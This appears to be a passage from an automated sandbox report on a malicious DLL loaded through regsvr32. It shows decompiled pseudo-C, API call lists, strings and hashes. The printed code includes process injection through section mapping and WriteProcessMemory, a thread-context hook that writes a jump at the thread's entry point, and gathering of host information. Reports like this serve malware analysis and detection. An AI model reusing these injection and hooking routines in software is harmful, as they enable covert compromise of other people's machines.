					_t75 = E6DA8C463(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E6DA8C463(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E6DA8A418(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E6DA8A34B(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E6DA8C75F(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E6DA90BF9(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x6da8cb89
0x6da8cb89
0x6da8cb90
0x6da8cb99
0x6da8ccb8
0x6da8cb9f
0x6da8cba1
0x6da8cbab
0x6da8cbae
0x6da8cbb4
0x6da8cbbe
0x6da8cbe3
0x6da8cbe8
0x6da8cbed
0x6da8ccb4
0x00000000
0x6da8ccb5
0x6da8cbed
0x6da8cbbe
0x6da8cbf3
0x6da8cbf6
0x6da8cbf9
0x6da8cbff
0x6da8cc05
0x6da8cc17
0x6da8cc1c
0x6da8cc1f
0x6da8cc22
0x6da8cc25
0x6da8cc28
0x6da8cc2e
0x6da8cc34
0x6da8cc37
0x6da8cc3a
0x6da8cc49
0x6da8cc4a
0x6da8cc4a
0x6da8cc4f
0x6da8cc62
0x6da8cc64
0x6da8cc69
0x6da8cc74
0x6da8cc76
0x6da8cc78
0x6da8cc94
0x6da8cc99
0x6da8cc9c
0x6da8cc9c
0x6da8cc74
0x6da8cc69
0x6da8cca2
0x6da8cca3
0x6da8cca6
0x6da8cca9
0x6da8ccac
0x6da8ccaf
0x6da8cc3a
0x00000000
0x6da8cc2e
0x6da8ccb9
0x6da8ccbe
0x6da8ccc2
0x6da8ccc5
0x6da8ccc6
0x6da8ccc7
0x6da8ccc8
0x6da8cccd
0x6da8cd45
0x6da8cd47
0x6da8cccf
0x6da8cccf
0x6da8ccd5
0x00000000
0x6da8ccd7
0x6da8ccda
0x6da8ccdd
0x6da8cce4
0x6da8cce7
0x6da8cceb
0x6da8cd1d
0x6da8cd20
0x6da8cd27
0x6da8cd2d
0x6da8cd37
0x6da8cd40
0x6da8cd40
0x6da8cd37
0x6da8cd2d
0x6da8cd41
0x6da8cced
0x6da8cced
0x6da8cced
0x6da8ccf0
0x6da8ccf0
0x6da8ccf4
0x00000000
0x00000000
0x6da8ccf8
0x6da8cd0c
0x6da8cd0c
0x6da8ccfa
0x6da8ccfa
0x6da8cd00
0x00000000
0x6da8cd02
0x6da8cd02
0x6da8cd05
0x6da8cd0a
0x00000000
0x00000000
0x00000000
0x00000000
0x6da8cd0a
0x6da8cd00
0x6da8cd15
0x6da8cd17
0x00000000
0x6da8cd19
0x6da8cd19
0x6da8cd19
0x00000000
0x6da8cd17
0x6da8cd10
0x6da8cd12
0x00000000
0x6da8cd12
0x00000000
0x00000000
0x00000000
0x6da8ccdd
0x6da8ccd5
0x6da8cd48
0x6da8cd4c
0x6da8cd4c

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6DA8CBAE

Strings

RCC, xrefs: 6DA8CBC8
MOC, xrefs: 6DA8CBC0

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: fd3cd2ba3c664b29753cf7296abd684eac2416da42e7b595093f30db9aaf575e
Instruction ID: 70a7fcaf1686f23b957bbc165294c9ec918cab069d9ee143319d2d6021ca966d
Opcode Fuzzy Hash: fd3cd2ba3c664b29753cf7296abd684eac2416da42e7b595093f30db9aaf575e
Instruction Fuzzy Hash: AD41597590820AAFCF05CF94CD80AAE7BB5FF88304F198259FE18A7252D33599A1DF51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 6096, Parent PID: 5992COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	55

Executed Functions

Function 0073D538 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 223
nativeregistrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0073D538(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				short _v32;
				char _v36;
				intOrPtr* _v40;
				intOrPtr _v44;
				long _v48;
				void* _v52;
				void* _v53;
				char _v64;
				short _v68;
				struct _WNDCLASSEXA _v116;
				char _t81;
				intOrPtr* _t83;
				intOrPtr _t87;
				intOrPtr _t90;
				char _t97;
				short _t98;
				intOrPtr _t105;
				long _t107;
				char _t119;
				void* _t124;
				struct HWND__* _t132;
				void* _t138;
				void* _t147;
				void* _t154;
				intOrPtr _t155;
				intOrPtr _t157;
				void* _t158;
				void* _t163;
				void* _t165;

				_t81 =  *0x74f8d4; // 0xc2fc00
				_t138 = 0;
				_v12 = __ecx;
				_t157 = __edx;
				_v20 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = 0;
				_v8 = 0;
				_v24 = 0;
				_v44 = __edx;
				if(( *(_t81 + 0x1898) & 0x00000040) != 0) {
					E0073F15B(0x1f4);
				}
				_t12 = _t157 + 0x3c; // 0x852c50ff
				_t83 =  *_t12 + _t157;
				_v28 = _t138;
				_v40 = _t83;
				if( *_t83 != 0x4550) {
					L14:
					_t158 = _v12;
					L15:
					if(_v8 != _t138) {
						_t90 =  *0x74f9d0; // 0xc2fa00
						 *((intOrPtr*)(_t90 + 0x10))(_t158, _v8);
						_v8 = _t138;
					}
					L17:
					if(_v16 != 0) {
						_t87 =  *0x74f8d0; // 0xc2f8c0
						NtUnmapViewOfSection( *((intOrPtr*)(_t87 + 0x12c))(), _v16);
					}
					if(_v20 != 0) {
						NtClose(_v20);
					}
					return _v8;
				}
				_v52 =  *((intOrPtr*)(_t83 + 0x50));
				if(NtCreateSection( &_v20, 0xe, _t138,  &_v52, 0x40, 0x8000000, _t138) < 0) {
					goto L14;
				}
				_t97 =  *"18293"; // 0x39323831
				_v36 = _t97;
				_t98 =  *0x74ce70; // 0x33
				_v32 = _t98;
				_v116.lpszClassName =  &_v64;
				asm("movsd");
				_v116.lpfnWndProc = DefWindowProcW;
				_v116.cbWndExtra = _t138;
				asm("movsd");
				_v116.style = 0xb;
				_v116.lpszMenuName = _t138;
				_v116.cbSize = 0x30;
				asm("movsb");
				_v116.cbClsExtra = _t138;
				_v116.hInstance = _t138;
				if(RegisterClassExA( &_v116) != 0) {
					_t132 = CreateWindowExA(_t138,  &_v64,  &_v36, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, _t138, _t138, _t138, _t138);
					if(_t132 != 0) {
						DestroyWindow(_t132);
						UnregisterClassA( &_v64, _t138);
					}
				}
				_t105 =  *0x74f8d0; // 0xc2f8c0
				_t107 = NtMapViewOfSection(_v20,  *((intOrPtr*)(_t105 + 0x12c))(),  &_v16, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40);
				_t158 = _v12;
				if(_t107 < 0 || NtMapViewOfSection(_v20, _t158,  &_v8, _t138, _t138, _t138,  &_v24, 2, _t138, 0x40) < 0) {
					goto L15;
				} else {
					_t154 = E00738E2E( *0x74f8d4, 0x1ac4);
					_v36 = _t154;
					if(_t154 == 0) {
						goto L15;
					}
					 *((intOrPtr*)(_t154 + 0x224)) = _v8;
					_t163 = VirtualAllocEx(_t158, _t138, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v12, _t163, _t154, 0x1ac4,  &_v28);
					E00738DDF( &_v36, 0x1ac4);
					_t119 =  *0x74f8d4; // 0xc2fc00
					_t155 =  *0x74f8e8; // 0x730000
					_v36 = _t119;
					 *0x74f8e8 = _v8;
					 *0x74f8d4 = _t163;
					E00738EA6(_v16, _v44,  *((intOrPtr*)(_v40 + 0x50)));
					E0073D4B7(_v16, _v8, _v44);
					_t124 = E0073A5D0("Jjischug");
					_v53 = _t138;
					_t147 = 0xf;
					if(_t124 > _t147) {
						do {
							L12:
							_t63 = _t138 + 0x41; // 0x41
							 *((char*)(_t165 + _t138 - 0x40)) = _t63;
							_t138 = _t138 + 1;
						} while (_t138 < _t147);
						L13:
						lstrlenW( &_v68);
						 *0x74f8e8 = _t155;
						 *0x74f8d4 = _v36;
						goto L17;
					}
					_t147 = _t124;
					if(_t147 == 0) {
						goto L13;
					}
					goto L12;
				}
			}

0x0073d53e
0x0073d544
0x0073d546
0x0073d54a
0x0073d54c
0x0073d54f
0x0073d552
0x0073d555
0x0073d558
0x0073d55b
0x0073d566
0x0073d569
0x0073d570
0x0073d570
0x0073d575
0x0073d578
0x0073d57a
0x0073d57d
0x0073d586
0x0073d77f
0x0073d77f
0x0073d782
0x0073d785
0x0073d78a
0x0073d790
0x0073d793
0x0073d793
0x0073d796
0x0073d79a
0x0073d79c
0x0073d7b1
0x0073d7b1
0x0073d7bb
0x0073d7c5
0x0073d7c5
0x0073d7cc
0x0073d7cc
0x0073d595
0x0073d5af
0x00000000
0x00000000
0x0073d5b5
0x0073d5bd
0x0073d5c5
0x0073d5cb
0x0073d5d2
0x0073d5da
0x0073d5db
0x0073d5e2
0x0073d5e5
0x0073d5e6
0x0073d5ed
0x0073d5f0
0x0073d5f7
0x0073d5f8
0x0073d5fb
0x0073d607
0x0073d629
0x0073d631
0x0073d634
0x0073d63f
0x0073d63f
0x0073d631
0x0073d65b
0x0073d66a
0x0073d66d
0x0073d672
0x00000000
0x0073d69c
0x0073d6ac
0x0073d6ae
0x0073d6b5
0x00000000
0x00000000
0x0073d6ca
0x0073d6dd
0x0073d6f1
0x0073d6fd
0x0073d702
0x0073d707
0x0073d70d
0x0073d713
0x0073d71b
0x0073d72b
0x0073d737
0x0073d741
0x0073d749
0x0073d74e
0x0073d751
0x0073d759
0x0073d759
0x0073d759
0x0073d75c
0x0073d760
0x0073d761
0x0073d765
0x0073d769
0x0073d772
0x0073d778
0x00000000
0x0073d778
0x0073d753
0x0073d757
0x00000000
0x00000000
0x00000000
0x0073d757

APIs

NtCreateSection.NTDLL(0073DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0073D5AA
RegisterClassExA.USER32(?), ref: 0073D5FE
CreateWindowExA.USER32 ref: 0073D629
DestroyWindow.USER32(00000000), ref: 0073D634
UnregisterClassA.USER32 ref: 0073D63F
NtMapViewOfSection.NTDLL(0073DA07,00000000), ref: 0073D66A
NtMapViewOfSection.NTDLL(0073DA07,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0073D691
VirtualAllocEx.KERNELBASE(00000000,00000000,00001AC4,00001000,00000004), ref: 0073D6D7
WriteProcessMemory.KERNELBASE(00000000,00000000,00000000,00001AC4,?), ref: 0073D6F1

Part of subcall function 00738DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00738E25

lstrlenW.KERNEL32(?,?,?,?,?,?,00000000,00736297), ref: 0073D769
NtUnmapViewOfSection.NTDLL(00000000), ref: 0073D7B1
NtClose.NTDLL(00000000), ref: 0073D7C5

Strings

Jjischug, xrefs: 0073D73C
0, xrefs: 0073D5F0
aeroflot, xrefs: 0073D5C0
18293, xrefs: 0073D5B5

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Section$View$ClassCreateWindow$AllocCloseDestroyFreeHeapMemoryProcessRegisterUnmapUnregisterVirtualWritelstrlen
String ID: 0$18293$Jjischug$aeroflot
API String ID: 494031690-3772587274
Opcode ID: b47c91bc8402b750e5231aa36db5e415f61c2858e06f549da993aa54d24e5bfc
Instruction ID: ca6ad170f1d20b648f744dbc8f2debe5558446d285a7ead48c98fe5dfbe4c529
Opcode Fuzzy Hash: b47c91bc8402b750e5231aa36db5e415f61c2858e06f549da993aa54d24e5bfc
Instruction Fuzzy Hash: BF811AB5901219EFEB10DF94EC89AEEBBB8FF09344F14406AE515E7261D778AD00CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0073DFC2 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0073DFC2(void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v144;
				char _v656;
				char _v668;
				char _v2644;
				void* __esi;
				struct _OSVERSIONINFOA* _t68;
				intOrPtr _t70;
				void* _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t87;
				int _t90;
				intOrPtr _t92;
				void* _t93;
				void* _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				short _t106;
				char _t108;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr _t119;
				intOrPtr _t123;
				intOrPtr _t134;
				intOrPtr _t136;
				intOrPtr _t138;
				intOrPtr _t141;
				intOrPtr _t143;
				intOrPtr _t148;
				void* _t149;
				WCHAR* _t150;
				char* _t151;
				intOrPtr _t162;
				intOrPtr _t177;
				void* _t191;
				struct _OSVERSIONINFOA* _t192;
				void* _t193;
				void* _t195;
				char _t198;
				void* _t199;
				char* _t200;
				void* _t203;
				int* _t204;
				void* _t216;

				_t216 = __fp0;
				_t148 =  *0x74f8e8; // 0x730000
				_t68 = E00738DC9(0x1ac4);
				_t192 = _t68;
				if(_t192 != 0) {
					 *((intOrPtr*)(_t192 + 0x1640)) = GetCurrentProcessId();
					_t70 =  *0x74f8d0; // 0xc2f8c0
					_t71 =  *((intOrPtr*)(_t70 + 0xac))(_t193);
					_t3 = _t192 + 0x648; // 0x648
					E007435A9( *((intOrPtr*)(_t192 + 0x1640)) + _t71, _t3);
					_t73 =  *0x74f8d0; // 0xc2f8c0
					_t5 = _t192 + 0x1644; // 0x1644
					_t194 = _t5;
					_t74 =  *((intOrPtr*)(_t73 + 0x128))(0, _t5, 0x105);
					_t207 = _t74;
					if(_t74 != 0) {
						 *((intOrPtr*)(_t192 + 0x1854)) = E007397E9(_t194, _t207);
					}
					_t75 =  *0x74f8d0; // 0xc2f8c0
					_t77 = E0073CA0A( *((intOrPtr*)(_t75 + 0x12c))()); // executed
					 *((intOrPtr*)(_t192 + 0x110)) = _t77;
					_t159 =  *_t77;
					if(E0073CB85( *_t77) == 0) {
						_t79 = E0073CA5A(_t159, _t194); // executed
						__eflags = _t79;
						_t162 = (0 | _t79 > 0x00000000) + 1;
						__eflags = _t162;
						 *((intOrPtr*)(_t192 + 0x214)) = _t162;
					} else {
						 *((intOrPtr*)(_t192 + 0x214)) = 3;
					}
					_t14 = _t192 + 0x220; // 0x220, executed
					_t80 = E0073F3A0(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x218)) = _t80;
					_t81 = E0073F365(_t14); // executed
					 *((intOrPtr*)(_t192 + 0x21c)) = _t81;
					_t17 = _t192 + 0x114; // 0x114
					_t195 = _t17;
					 *((intOrPtr*)(_t192 + 0x224)) = _t148;
					_push( &_v16);
					_v12 = 0x80;
					_push( &_v8);
					_v8 = 0x100;
					_push( &_v656);
					_push( &_v12);
					_push(_t195);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x110)))));
					_t87 =  *0x74f8d8; // 0xc2fab0
					_push(0); // executed
					if( *((intOrPtr*)(_t87 + 0x6c))() == 0) {
						GetLastError();
					}
					_t90 = GetSystemMetrics(0x1000);
					_t28 = _t192 + 0x228; // 0x228
					_t149 = _t28;
					 *(_t192 + 0x1850) = 0 | _t90 > 0x00000000;
					E0073DFBB(_t149); // executed
					_t211 = _t149;
					if(_t149 != 0) {
						 *((intOrPtr*)(_t192 + 0x434)) = E007397E9(_t149, _t211);
					}
					_t92 = E0073C85A();
					_t33 = _t192 + 0xb0; // 0xb0
					_t196 = _t33;
					 *((intOrPtr*)(_t192 + 0xac)) = _t92;
					_t93 = E0073C64D(_t92, _t33, _t211, _t216);
					_t35 = _t192 + 0xd0; // 0xd0
					E00739BD5(_t93, _t33, _t35);
					_t36 = _t192 + 0x438; // 0x438
					E00739803(_t149, _t36);
					_t97 = E0073E34A(_t196, E0073A5D0(_t33), 0);
					_t37 = _t192 + 0x100c; // 0x100c
					E0073C870(_t97, _t37, _t216);
					_t99 =  *0x74f8d0; // 0xc2f8c0
					_t101 = E0073CBD7( *((intOrPtr*)(_t99 + 0x12c))(_t195)); // executed
					 *((intOrPtr*)(_t192 + 0x101c)) = _t101;
					E00738F63(_t192, 0, 0x9c);
					_t204 = _t203 + 0xc;
					_t192->dwOSVersionInfoSize = 0x9c;
					GetVersionExA(_t192);
					 *((intOrPtr*)(_t192 + 0xa8)) = E0073DDBE(_t100);
					_t106 = E0073DDE7(_t105);
					_t41 = _t192 + 0x1020; // 0x1020
					_t150 = _t41;
					 *((short*)(_t192 + 0x9c)) = _t106;
					GetWindowsDirectoryW(_t150, 0x104);
					_t108 = E00739F85(_t105, 0xf73);
					_t177 =  *0x74f8d0; // 0xc2f8c0
					_t198 = _t108;
					 *_t204 = 0x104;
					_push( &_v668);
					_push(_t198);
					_v8 = _t198;
					if( *((intOrPtr*)(_t177 + 0xec))() == 0) {
						_t143 =  *0x74f8d0; // 0xc2f8c0
						 *((intOrPtr*)(_t143 + 0x108))(_t198, _t150);
					}
					E00738D9A( &_v8);
					_t113 =  *0x74f8d0; // 0xc2f8c0
					_t48 = _t192 + 0x1434; // 0x1434
					_t199 = _t48;
					 *_t204 = 0x209;
					_push(_t199);
					_push(L"USERPROFILE");
					if( *((intOrPtr*)(_t113 + 0xec))() == 0) {
						E00739FE4(_t199, 0x105, L"%s\\%s", _t150);
						_t141 =  *0x74f8d0; // 0xc2f8c0
						_t204 =  &(_t204[5]);
						 *((intOrPtr*)(_t141 + 0x108))(L"USERPROFILE", _t199, "TEMP");
					}
					_push(0x20a);
					_t51 = _t192 + 0x122a; // 0x122a
					_t151 = L"TEMP";
					_t116 =  *0x74f8d0; // 0xc2f8c0
					_push(_t151);
					if( *((intOrPtr*)(_t116 + 0xec))() == 0) {
						_t138 =  *0x74f8d0; // 0xc2f8c0
						 *((intOrPtr*)(_t138 + 0x108))(_t151, _t199);
					}
					_push(0x40);
					_t200 = L"SystemDrive";
					_push( &_v144);
					_t119 =  *0x74f8d0; // 0xc2f8c0
					_push(_t200);
					if( *((intOrPtr*)(_t119 + 0xec))() == 0) {
						_t136 =  *0x74f8d0; // 0xc2f8c0
						 *((intOrPtr*)(_t136 + 0x108))(_t200, L"C:");
					}
					_v8 = 0x7f;
					_t59 = _t192 + 0x199c; // 0x199c
					_t123 =  *0x74f8d0; // 0xc2f8c0
					 *((intOrPtr*)(_t123 + 0xbc))(_t59,  &_v8);
					_t62 = _t192 + 0x100c; // 0x100c
					E007435A9(E0073E34A(_t62, E0073A5D0(_t62), 0),  &_v2644);
					_t63 = _t192 + 0x1858; // 0x1858
					E0074357B( &_v2644, _t63, 0x20);
					_push( &_v2644);
					_push(0x1e);
					_t66 = _t192 + 0x1878; // 0x1878
					_t191 = 0x14;
					E007398D0(_t66, _t191);
					_t134 = E0073DB68(_t191); // executed
					 *((intOrPtr*)(_t192 + 0x1898)) = _t134;
					return _t192;
				}
				return _t68;
			}

0x0073dfc2
0x0073dfcc
0x0073dfd8
0x0073dfdd
0x0073dfe2
0x0073dfef
0x0073dff5
0x0073dffa
0x0073e000
0x0073e010
0x0073e015
0x0073e01a
0x0073e01a
0x0073e02a
0x0073e030
0x0073e032
0x0073e03b
0x0073e03b
0x0073e041
0x0073e04e
0x0073e053
0x0073e059
0x0073e062
0x0073e070
0x0073e077
0x0073e07c
0x0073e07c
0x0073e07d
0x0073e064
0x0073e064
0x0073e064
0x0073e083
0x0073e089
0x0073e08e
0x0073e094
0x0073e099
0x0073e09f
0x0073e09f
0x0073e0a8
0x0073e0ae
0x0073e0b2
0x0073e0b9
0x0073e0c0
0x0073e0c7
0x0073e0cb
0x0073e0d2
0x0073e0d3
0x0073e0d5
0x0073e0da
0x0073e0e1
0x0073e0e3
0x0073e0e3
0x0073e0f3
0x0073e0f8
0x0073e0f8
0x0073e105
0x0073e10b
0x0073e110
0x0073e112
0x0073e11b
0x0073e11b
0x0073e123
0x0073e128
0x0073e128
0x0073e12e
0x0073e139
0x0073e13e
0x0073e146
0x0073e14c
0x0073e154
0x0073e166
0x0073e16c
0x0073e174
0x0073e179
0x0073e186
0x0073e197
0x0073e19d
0x0073e1a2
0x0073e1a5
0x0073e1a8
0x0073e1b5
0x0073e1bb
0x0073e1c5
0x0073e1c5
0x0073e1cb
0x0073e1d3
0x0073e1de
0x0073e1e3
0x0073e1e9
0x0073e1eb
0x0073e1f8
0x0073e1f9
0x0073e1fa
0x0073e205
0x0073e207
0x0073e20e
0x0073e20e
0x0073e218
0x0073e21d
0x0073e222
0x0073e222
0x0073e228
0x0073e22f
0x0073e230
0x0073e23d
0x0073e250
0x0073e255
0x0073e25a
0x0073e263
0x0073e263
0x0073e269
0x0073e26e
0x0073e274
0x0073e27a
0x0073e27f
0x0073e288
0x0073e28a
0x0073e291
0x0073e291
0x0073e297
0x0073e29f
0x0073e2a4
0x0073e2a5
0x0073e2aa
0x0073e2b3
0x0073e2b5
0x0073e2c0
0x0073e2c0
0x0073e2c9
0x0073e2d1
0x0073e2d8
0x0073e2dd
0x0073e2ec
0x0073e304
0x0073e30b
0x0073e319
0x0073e324
0x0073e325
0x0073e329
0x0073e32f
0x0073e330
0x0073e338
0x0073e33d
0x00000000
0x0073e345
0x0073e349

APIs

Part of subcall function 00738DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00739793,00000100,?,0073661B), ref: 00738DD7

GetCurrentProcessId.KERNEL32 ref: 0073DFE9
GetLastError.KERNEL32 ref: 0073E0E3
GetSystemMetrics.USER32(00001000), ref: 0073E0F3
GetVersionExA.KERNEL32(00000000), ref: 0073E1A8

Part of subcall function 0073CA5A: FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00730000), ref: 0073CAFE

GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 0073E1D3

Strings

TEMP, xrefs: 0073E23F
SystemDrive, xrefs: 0073E29F, 0073E2AA, 0073E2BF
USERPROFILE, xrefs: 0073E230, 0073E25E
%s\%s, xrefs: 0073E245
TEMP, xrefs: 0073E274, 0073E27F, 0073E290

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: AllocateChangeCloseCurrentDirectoryErrorFindHeapLastMetricsNotificationProcessSystemVersionWindows
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3131805607-2706916422
Opcode ID: 7beac18cba9e5915a60a56c442105eebc30ac6be56a6c3a3f75514c497910318
Instruction ID: 87f8fa17a387f7ac7d8780f54b4d8338128039740ae53de15751ea47221ca9ec
Opcode Fuzzy Hash: 7beac18cba9e5915a60a56c442105eebc30ac6be56a6c3a3f75514c497910318
Instruction Fuzzy Hash: E2918E75700605EFE704EB74DC49FEAB7E8BF09300F04416AF519D7292EB78AA448BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0073D9DE Relevance: 6.1, APIs: 4, Instructions: 89
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0073D9DE(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				struct _CONTEXT _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t57;
				long _t59;
				void* _t62;
				void** _t65;
				void* _t66;

				_t65 = __edx;
				_t57 = __ecx;
				_t66 = 0;
				if(E0073D309(__ecx, __edx, __edx, 0) != 0) {
					_t33 = E0073D538( *((intOrPtr*)(__edx)), _a4); // executed
					_t66 = _t33;
					if(_t66 != 0) {
						E00738F63( &_v744, 0, 0x2cc);
						_v744.ContextFlags = 0x10002;
						if(GetThreadContext(_t65[1],  &_v744) != 0) {
							_t62 = _v744.Eax;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t59 = 5;
							_v23 = _t66 - _t62 - _a4 + _t57 + 0xfffffffb;
							_v8 = _t59;
							_v16 = _t62;
							if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t65, _v744.Eax,  &_v24, _t59,  &_v8) < 0) {
								L6:
								_t66 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t65,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				E0073D47C();
				return _t66;
			}

0x0073d9ea
0x0073d9ec
0x0073d9ee
0x0073d9f7
0x0073da02
0x0073da07
0x0073da0b
0x0073da1f
0x0073da27
0x0073da48
0x0073da4e
0x0073da56
0x0073da64
0x0073da6a
0x0073da6b
0x0073da77
0x0073da7e
0x0073da8e
0x0073dace
0x0073dace
0x0073daad
0x0073daad
0x0073dacc
0x00000000
0x00000000
0x0073dacc
0x0073da8e
0x0073da48
0x0073da0b
0x0073dad0
0x0073dadb

APIs

Part of subcall function 0073D309: LoadLibraryW.KERNEL32 ref: 0073D403

Part of subcall function 0073D538: NtCreateSection.NTDLL(0073DA07,0000000E,00000000,?,00000040,08000000,00000000,?), ref: 0073D5AA
Part of subcall function 0073D538: RegisterClassExA.USER32(?), ref: 0073D5FE
Part of subcall function 0073D538: CreateWindowExA.USER32 ref: 0073D629
Part of subcall function 0073D538: DestroyWindow.USER32(00000000), ref: 0073D634
Part of subcall function 0073D538: UnregisterClassA.USER32 ref: 0073D63F

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

